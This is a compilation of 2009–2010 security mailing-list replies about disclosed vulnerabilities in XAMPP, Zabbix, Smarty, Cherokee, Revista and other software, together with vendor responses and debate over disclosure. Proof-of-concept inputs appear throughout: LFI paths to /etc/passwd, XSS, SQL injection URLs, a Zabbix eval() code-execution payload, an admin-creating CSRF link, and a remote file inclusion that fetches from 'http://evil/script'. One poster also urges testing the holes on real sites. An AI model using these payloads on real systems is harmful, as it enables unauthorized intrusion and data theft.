> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?
